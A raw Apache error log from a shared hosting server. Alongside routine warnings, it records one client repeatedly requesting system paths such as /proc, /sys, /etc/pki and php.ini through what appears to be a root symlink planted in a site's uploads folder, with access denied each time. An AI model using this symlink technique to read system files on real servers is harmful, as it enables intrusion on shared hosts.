[Fri Jul 17 09:46:44.690369 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:44.761201 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:45.400549 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/snd_hda_intel/new_id
[Fri Jul 17 09:46:45.762027 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:45.928012 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:46.070687 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:46.286447 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/platform/devices/i8042/serio1/driver/uevent
[Fri Jul 17 09:46:46.437520 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:46.560170 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:46.578960 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:46.586355 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:46.685875 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/tmp/20251213-225342-aT2hHq9-FyWoolZ5CXfwhQAAAAE-file-6McvpS
[Fri Jul 17 09:46:46.959682 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:47.185349 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:47.208533 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:47.250507 2026] [security2:error] [pid 2030804:tid 2030804] [client 112.134.195.156:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php/circulars-circular-letters/circulars-circular-letters-2"] [unique_id "almsrIe39YUk0SgV8AVENwAAABE"], referer: https://www.epid.gov.lk/epid/public/index.php/home
[Fri Jul 17 09:46:47.250553 2026] [security2:error] [pid 2030804:tid 2030804] [client 112.134.195.156:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php/circulars-circular-letters/circulars-circular-letters-2"] [unique_id "almsrIe39YUk0SgV8AVENwAAABE"], referer: https://www.epid.gov.lk/epid/public/index.php/home
[Fri Jul 17 09:46:47.276123 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/pci/drivers/pci-stub/unbind
[Fri Jul 17 09:46:47.658227 2026] [security2:error] [pid 2013797:tid 2013797] [client 66.249.64.6:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almsrFh1WDijTxd1xw5WNgAAAAc"]
[Fri Jul 17 09:46:47.658263 2026] [security2:error] [pid 2013797:tid 2013797] [client 66.249.64.6:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almsrFh1WDijTxd1xw5WNgAAAAc"]
[Fri Jul 17 09:46:47.977035 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A06:02/subsystem/drivers/hpet/unbind
[Fri Jul 17 09:46:47.978688 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/nocgiusers
[Fri Jul 17 09:46:48.007479 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:35252] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:48.009907 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:48.034611 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:35258] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:48.086586 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:48.100014 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:48.311691 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:48.356819 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:48.438878 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:48.438975 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:48.469110 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:48.473647 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:48.584630 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:48.675812 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:48.708152 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:48.858354 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:48.868331 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:49.058418 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:49.146881 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:49.205312 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:49.233912 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:49.325145 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:49.506324 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:49.688186 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:49.885190 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:50.053205 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:50.236035 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/platform/devices/serial8250/tty/ttyS1/line
[Fri Jul 17 09:46:50.353295 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:50.417794 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:50.508859 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:50.599227 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:50.690537 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:50.734707 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:50.746375 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:50.755874 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:50.782281 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:50.873782 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/pnp/drivers/serial/00:00/tty/ttyS0/uartclk
[Fri Jul 17 09:46:50.926819 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:50.963454 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:50.991264 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:35418] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:51.055277 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/sound/pcmC0D0p/subsystem/controlC0/device/hwC0D0/clear
[Fri Jul 17 09:46:51.237765 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:51.328521 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:51.419425 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:51.509642 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:04/subsystem/drivers/tpm_tis/uevent
[Fri Jul 17 09:46:51.601765 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:00/subsystem/drivers/i8042 kbd/uevent
[Fri Jul 17 09:46:51.692206 2026] [core:error] [pid 2050572:tid 2050572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:04/subsystem/drivers/i8042 kbd/uevent
[Fri Jul 17 09:46:51.790576 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:51.893564 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:51.965220 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:52.059634 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:52.149122 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:52.329832 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0303:00/subsystem/drivers/pvpanic/uevent
[Fri Jul 17 09:46:52.421844 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:52.604223 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:52.694624 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:52.754011 2026] [security2:error] [pid 2018768:tid 2018768] [client 34.26.203.168:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/css/main.css"] [unique_id "almstFCBpfuYyhJ140vcxgAAAB4"], referer: https://www.nccp.health.gov.lk/en
[Fri Jul 17 09:46:52.754051 2026] [security2:error] [pid 2018768:tid 2018768] [client 34.26.203.168:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/css/main.css"] [unique_id "almstFCBpfuYyhJ140vcxgAAAB4"], referer: https://www.nccp.health.gov.lk/en
[Fri Jul 17 09:46:52.784842 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:00/subsystem/drivers/tpm_tis/uevent
[Fri Jul 17 09:46:53.060319 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:53.149714 2026] [core:error] [pid 2050572:tid 2050572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/tmp/20251213-225947-aT2ii2nVyolbzEXIGZ7DvQAAADA-file-3tD5R2
[Fri Jul 17 09:46:53.240962 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:53.333415 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:46:53.424183 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:53.605606 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:53.789241 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:54.161209 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:54.209489 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:54.231370 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:54.335177 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:54.425738 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/tmp/20250911-095846-aMJP_pBDfYN7vlM4F6YP5gAAAAg-file-ulDFdC
[Fri Jul 17 09:46:54.516976 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:54.517255 2026] [core:crit] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/var/spool/at/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/var/spool/at/' is executable
[Fri Jul 17 09:46:54.607758 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:54.699169 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:54.794749 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:54.885902 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/tmp/20250825-234701-aKyonV-vDJVAAt3fth48NAAAABs-file-CNS86S
[Fri Jul 17 09:46:54.973828 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:54.974189 2026] [core:crit] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/etc/pki/rsyslog/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/etc/pki/rsyslog/' is executable
[Fri Jul 17 09:46:55.064828 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:55.245875 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:55.337297 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:55.428232 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:55.464284 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:55.464464 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:55.705136 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:55.804892 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:55.893789 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:56.047670 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:56.079976 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:56.166995 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/platform/serial8250/tty/ttyS1/port
[Fri Jul 17 09:46:56.260082 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:56.348643 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:56.439974 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:56.679993 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:56.894065 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:56.986279 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:57.003734 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:55136] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:57.082227 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/subsystem/drivers/hpet/unbind
[Fri Jul 17 09:46:57.169903 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:57.275033 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:57.555283 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:57.630291 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:57.720003 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:57.722718 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:55168] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:57.811973 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:57.963123 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:58.131160 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:58.176334 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:58.288518 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:55230] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:58.303901 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:58.366600 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:58.366793 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:58.544018 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:58.632462 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:58.724543 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:58.816372 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:58.908136 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:59.022158 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:59.089270 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:59.237861 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:59.296983 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:59.376814 2026] [security2:error] [pid 2018741:tid 2018741] [client 72.255.9.39:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nsteeleng-global": Permission denied [hostname "nsteeleng.com"] [uri "/xmlrpc.php"] [unique_id "almsuroj0IkvhSCYadmLtgAAAAQ"]
[Fri Jul 17 09:46:59.376888 2026] [security2:error] [pid 2018741:tid 2018741] [client 72.255.9.39:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nsteeleng-ip": Permission denied [hostname "nsteeleng.com"] [uri "/xmlrpc.php"] [unique_id "almsuroj0IkvhSCYadmLtgAAAAQ"]
[Fri Jul 17 09:46:59.505640 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:59.581825 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:59.842150 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:59.855627 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:00.022469 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/usb/devices/1-1/subsystem/drivers/hub/uevent
[Fri Jul 17 09:47:00.079500 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:00.179365 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:00.273705 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:00.451401 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:00.502522 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:00.547867 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:00.634173 2026] [core:error] [pid 2050581:tid 2050581] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0501:00/subsystem/drivers/battery/uevent
[Fri Jul 17 09:47:00.826074 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:00.907385 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/tmp/20250816-134442-aKA98iLhXeusQ-ZjJ2LY4gAAAAk-file-jAxqOQ
[Fri Jul 17 09:47:01.004428 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:01.092547 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:01.273132 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:01.369963 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:01.503103 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:01.545982 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:01.725869 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/QEMU0002:00/subsystem/drivers/xhci-hcd/unbind
[Fri Jul 17 09:47:01.817999 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:01.819208 2026] [authz_core:error] [pid 2050576:tid 2050576] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/uploads/img/news/m-iraq/root/opt/alt/php53/etc/php.ini
[Fri Jul 17 09:47:01.909213 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:01.909319 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:01.909341 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:01.999930 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:02.182019 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:02.203961 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:02.548319 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/tmp/20251021-040140-aPa4TLbvFFVg2nnIxYRlkgAAABc-file-ZfAxQE
[Fri Jul 17 09:47:02.639425 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:02.640605 2026] [core:crit] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/i360_wafd_imunify/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/i360_wafd_imunify/' is executable
[Fri Jul 17 09:47:02.730823 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
